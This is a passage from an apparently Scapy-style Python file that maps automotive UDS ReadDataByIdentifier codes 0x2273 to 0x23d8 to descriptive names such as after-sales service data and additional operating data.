"afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2273] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2274] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2275] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2276] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2277] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2278] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2279] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x227a] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x227b] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x227c] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x227d] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x227e] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x227f] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2280] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2281] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2282] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2283] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2284] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2285] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2286] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2287] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2288] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2289] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x228a] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x228b] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x228c] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x228d] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x228e] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x228f] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2290] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2291] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2292] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2293] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2294] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2295] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2296] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2297] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2298] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2299] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x229a] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x229b] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x229c] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x229d] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x229e] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x229f] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22a0] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22a1] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22a2] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22a3] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22a4] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22a5] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22a6] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22a7] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22a8] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22a9] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22aa] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22ab] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22ac] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22ad] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22ae] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22af] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22b0] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22b1] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22b2] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22b3] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22b4] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22b5] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22b6] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22b7] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22b8] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22b9] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22ba] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22bb] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22bc] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22bd] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22be] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22bf] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22c0] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22c1] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22c2] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22c3] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22c4] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22c5] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22c6] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22c7] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22c8] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22c9] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22ca] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22cb] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22cc] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22cd] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22ce] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22cf] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22d0] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22d1] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22d2] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22d3] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22d4] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22d5] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22d6] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22d7] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22d8] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22d9] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22da] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22db] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22dc] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22dd] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22de] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22df] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22e0] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22e1] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22e2] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22e3] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22e4] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22e5] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22e6] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22e7] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22e8] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22e9] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22ea] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22eb] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22ec] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22ed] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22ee] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22ef] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22f0] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22f1] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22f2] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22f3] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22f4] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22f5] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22f6] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22f7] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22f8] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22f9] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22fa] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22fb] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22fc] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22fd] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22fe] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22ff] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2300] = "operatingData" # or RDBCI_BETRIEBSDATEN_LESEN_REQ # noqa E501 UDS_RDBI.dataIdentifiers[0x2301] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2302] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2303] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2304] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2305] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2306] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2307] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2308] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2309] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x230a] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x230b] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x230c] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x230d] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x230e] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x230f] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2310] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2311] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2312] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2313] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2314] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2315] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2316] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2317] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2318] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2319] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x231a] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x231b] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x231c] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x231d] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x231e] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x231f] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2320] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2321] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2322] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2323] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2324] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2325] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2326] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2327] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2328] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2329] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x232a] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x232b] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x232c] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x232d] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x232e] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x232f] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2330] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2331] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2332] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2333] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2334] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2335] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2336] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2337] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2338] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2339] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x233a] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x233b] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x233c] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x233d] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x233e] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x233f] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2340] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2341] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2342] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2343] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2344] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2345] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2346] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2347] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2348] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2349] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x234a] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x234b] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x234c] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x234d] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x234e] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x234f] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2350] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2351] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2352] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2353] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2354] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2355] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2356] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2357] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2358] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2359] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x235a] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x235b] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x235c] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x235d] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x235e] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x235f] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2360] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2361] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2362] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2363] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2364] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2365] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2366] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2367] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2368] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2369] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x236a] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x236b] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x236c] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x236d] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x236e] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x236f] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2370] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2371] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2372] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2373] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2374] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2375] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2376] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2377] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2378] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2379] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x237a] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x237b] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x237c] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x237d] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x237e] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x237f] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2380] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2381] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2382] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2383] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2384] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2385] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2386] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2387] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2388] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2389] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x238a] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x238b] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x238c] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x238d] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x238e] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x238f] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2390] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2391] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2392] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2393] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2394] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2395] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2396] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2397] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2398] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2399] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x239a] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x239b] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x239c] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x239d] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x239e] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x239f] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23a0] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23a1] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23a2] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23a3] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23a4] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23a5] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23a6] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23a7] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23a8] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23a9] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23aa] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23ab] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23ac] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23ad] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23ae] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23af] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23b0] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23b1] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23b2] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23b3] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23b4] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23b5] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23b6] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23b7] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23b8] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23b9] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23ba] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23bb] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23bc] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23bd] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23be] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23bf] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23c0] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23c1] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23c2] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23c3] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23c4] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23c5] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23c6] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23c7] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23c8] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23c9] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23ca] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23cb] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23cc] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23cd] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23ce] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23cf] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23d0] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23d1] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23d2] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23d3] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23d4] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23d5] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23d6] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23d7] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23d8] = "additionalOperatingData 